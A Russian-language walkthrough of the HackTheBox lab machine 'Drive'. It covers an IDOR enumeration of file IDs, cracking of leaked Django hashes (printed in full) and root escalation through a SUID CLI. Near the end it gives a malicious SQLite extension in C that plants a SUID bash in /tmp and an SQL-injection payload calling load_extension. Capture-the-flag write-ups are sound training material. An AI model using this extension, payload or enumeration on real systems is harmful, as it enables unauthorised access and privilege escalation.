Обзор сервисов

Машине присвоен IP-адрес 10.10.11.235. Просканируем порты с помощью nmap:

$ nmap -sV -sC -Pn -oN nmap 10.10.11.235
Starting Nmap 7.94 ( https://nmap.org ) at 2023-10-15 04:04 EDT
Nmap scan report for 10.10.11.235
Host is up (0.059s latency).
Not shown: 997 closed tcp ports (conn-refused)
PORT     STATE    SERVICE VERSION
22/tcp   open     ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.9 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 27:5a:9f:db:91:c3:16:e5:7d:a6:0d:6d:cb:6b:bd:4a (RSA)
|   256 9d:07:6b:c8:47:28:0d:f2:9f:81:f2:b8:c3:a6:78:53 (ECDSA)
|_  256 1d:30:34:9f:79:73:69:bd:f6:67:f3:34:3c:1f:f9:4e (ED25519)
80/tcp   open     http    nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://drive.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)
3000/tcp filtered ppp
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.08 seconds

Веб-сервис

Для оценки веб-сервиса потребуется прописать vhost в наш /etc/hosts:

Alt text

$ sudo nano /etc/hosts
10.10.11.235 drive.htb

Сервис похож на облачное хранилище. Зарегистрируемся и залогинимся.

Alt text

После логина попробуем загрузить свой тестовый файл с названием test.txt и содержимым test. И сразу же увидим этот файл в show My Files. В моем случае идентификатор файла был 116.

Мы можем зарезервировать файл, нажав на кнопку Reserve. Это триггернет GET эндпоинт /116/block.

Отправим этот эндпоинт в Bupr Intruder, поменяем идентификатор 116 на точку подмены. Будем перебирать от 0 до 200. После переходим в unReserve Files и видим чужие файлы.

Alt text

Перейдем в браузере на http://drive.htb/79/block/.

Alt text

Также находим описание резервирования базы и намек на пароль к ней.

Alt text

SSH

Подключимся как пользователь martin к SSH:

Alt text

Базы данных, как и было описано выше, лежат в /var/www/backup.

martin@drive:/var/www/backups$ ls -la
total 3740
drwxr-xr-x 2 www-data www-data    4096 Sep  1 18:23 .
drwxr-xr-x 5 root     root        4096 Sep 15 13:34 ..
-rw-r--r-- 1 www-data www-data   13018 Sep  1 20:00 1_Dec_db_backup.sqlite3.7z
-rw-r--r-- 1 www-data www-data   12226 Sep  1 20:00 1_Nov_db_backup.sqlite3.7z
-rw-r--r-- 1 www-data www-data   12722 Sep  1 20:00 1_Oct_db_backup.sqlite3.7z
-rw-r--r-- 1 www-data www-data   12770 Sep  1 20:00 1_Sep_db_backup.sqlite3.7z
-rwxr-xr-x 1 root     root     3760128 Dec 26  2022 db.sqlite3

Еще мы видели на порту 3000 какой-то сервис, к которому не имеем доступа из внешней сети. Однако из внутренней сети мы можем до него достучаться.

$ netstat -ano | grep 3000
tcp6       0      0 :::3000                 :::*                    LISTEN      off (0.00/0/0)

Пробросим порт и обнаружим Gitea.

ssh -L 3000:127.0.0.1:3000 [email protected]

Alt text

Зарегистрируем любого пользователя, залогинимся и проверим логин пользователя martin:

[email protected]

С помощью пароля, полученного ранее, логинимся внутрь как [email protected].

После этого сразу же проверяем файл http://localhost:3000/crisDisel/DoodleGrive/src/branch/main/db_backup.sh, в котором обнаруживаем пароль от резервных копий.

Alt text

Распакуем все архивы и вытащим из баз данных хеши, включая текущую базу данных.

pbkdf2_sha256$390000$ZjZj164ssfwWg7UcR8q4kZ$KKbWkEQCpLzYd82QUBq65aA9j3+IkHI6KK9Ue8nZeFU=
pbkdf2_sha256$390000$npEvp7CFtZzEEVp9lqDJOO$So15//tmwvM9lEtQshaDv+mFMESNQKIKJ8vj/dP4WIo=
pbkdf2_sha256$390000$GRpDkOskh4irD53lwQmfAY$klDWUZ9G6k4KK4VJUdXqlHrSaWlRLOqxEvipIpI5NDM=
pbkdf2_sha256$390000$wWT8yUbQnRlMVJwMAVHJjW$B98WdQOfutEZ8lHUcGeo3nR326QCQjwZ9lKhfk9gtro=
pbkdf2_sha256$390000$TBrOKpDIumk7FP0m0FosWa$t2wHR09YbXbB0pKzIVIn9Y3jlI3pzH0/jjXK0RDcP6U=
sha1$ALgmoJHkrqcEDinLzpILpD$4b835a084a7c65f5fe966d522c0efcdd1d6f879f
sha1$DhWa3Bym5bj9Ig73wYZRls$3ecc0c96b090dea7dfa0684b9a1521349170fc93
sha1$E9cadw34Gx4E59Qt18NLXR$60919b923803c52057c0cdd1d58f0409e7212e9f
sha1$jzpj8fqBgy66yby2vX5XPa$52f17d6118fce501e3b60de360d4c311337836a3
sha1$kyvDtANaFByRUMNSXhjvMc$9e77fb56c31e7ff032f8deb1f0b5e8f42e9e3004
sha1$Ri2bP6RVoZD5XYGzeYWr7c$4053cb928103b6a9798b2521c4100db88969525a
sha1$Ri2bP6RVoZD5XYGzeYWr7c$71eb1093e10d8f7f4d1eb64fa604e6050f8ad141
sha1$W5IGzMqPgAUGMKXwKRmi08$030814d90a6a50ac29bb48e0954a89132302483a

PBKDF2-хеши у меня не сбрутились, однако четыре хеша SHA1 поддались (принадлежат пользователю tomHands).

В /etc/passwd есть пользователь tom.

Начнем перебирать сбрученные пароли для подключения к SSH и получаем шелл.

Alt text

Пользовательский флаг

Alt text

Повышение привилегий

В каталоге пользователя tom есть бинарник SUID-битом от рута.

tom@drive:~$ ls -la
...
-rwSr-x--- 1 root tom  887240 Sep 13 13:36 doodleGrive-cli
...

Декомпилируем и найдем логин и пароль, который требуется на входе.

Alt text

Скачаем модуль sqlite-execute-module (https://github.com/mpaolino/sqlite-execute-module) и подправим его:

#include <sqlite3ext.h> /* Do not use <sqlite3.h>! */
SQLITE_EXTENSION_INIT1

#include <stdlib.h>

#ifdef _WIN32
__declspec(dllexport)
#endif

int sqlite3_extension_init(
  sqlite3 *db, 
  char **pzErrMsg, 
  const sqlite3_api_routines *pApi
){
  SQLITE_EXTENSION_INIT2(pApi);

  system("/usr/bin/cp /bin/bash /tmp/b");
  system("/usr/bin/chmod +s /tmp/b");

  return SQLITE_OK;
}

Для сборки применим команду make и результирующий бинарник положим рядом с уязвимым CLI-приложением как y.so.

Чтобы подгрузить наш модуль, нужно обойти санитизацию в функции activate_user_account и далее в sanitize_string.

Зайдем в бинарник, пройдем этап аутентификации, выберем 5, затем впишем "+load_extension(char(46,47,121))--".

Alt text

Теперь в /tmp/b должен появиться баш.

/tmp/b -p

Alt text

Флаг суперпользователя

Alt text